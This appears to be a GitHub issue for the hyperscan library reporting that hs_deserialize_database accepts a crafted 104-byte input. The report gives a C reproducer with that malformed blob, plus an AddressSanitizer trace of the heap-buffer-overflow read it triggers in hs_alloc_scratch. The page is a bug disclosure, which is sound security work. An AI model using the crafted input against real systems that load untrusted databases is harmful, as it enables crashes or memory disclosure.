hyperscan icon indicating copy to clipboard operation
hyperscan copied to clipboard

Is hs_deserialize_database sane against malicious input?

Open danlark1 opened this issue 4 years ago • 0 comments

Can I pass any number of bytes to hs_deserialize_database and make sure that using it in other functions is memory safe if the call was successful?

Some testing showed that's not really the case:

#undef NDEBUG
#include <hs.h>
#include <assert.h>

int main() {
  const char* data = "\xdb\xdb\xdb\xdb\x00\x00\x04\x05\x00\x00\x00\x00\x00\x80\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb\xff\x00";
  const size_t size = 104;
  hs_database_t* db = nullptr;
  hs_error_t err = hs_deserialize_database(data, size, &db);
  assert(err == HS_SUCCESS);
  hs_scratch_t* scratch = nullptr;
  err = hs_alloc_scratch(db, &scratch);
  if (err == HS_SUCCESS) {
    hs_free_scratch(scratch);
  }
  hs_free_database(db);
}

Results in heap buffer overflow:

=================================================================
==217567==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000214 at pc 0x0000004cf4ad bp 0x7ffd591e7790 sp 0x7ffd591e7788
READ of size 4 at 0x60b000000214 thread T0
    #0 0x4cf4ac in hs_alloc_scratch contrib/hyperscan/src/scratch.c:299:15
    #1 0x4cba40 in main hyperscan_bugs/db_failure.cpp:12:9
    #2 0x7f2ee9029d09 in __libc_start_main csu/../csu/libc-start.c:308:16
    #3 0x41f2c9 in _start (hyperscan_bugs/db_failure+0x41f2c9)

It is basically

 // VVVVVVVVVVVVVVVVVVVVVV here is the failure
if (rose->anchoredDistance > proto->anchored_literal_region_len) {
    resize = 1;
    proto->anchored_literal_region_len = rose->anchoredDistance;
}

danlark1 avatar Jun 19 '21 18:06 danlark1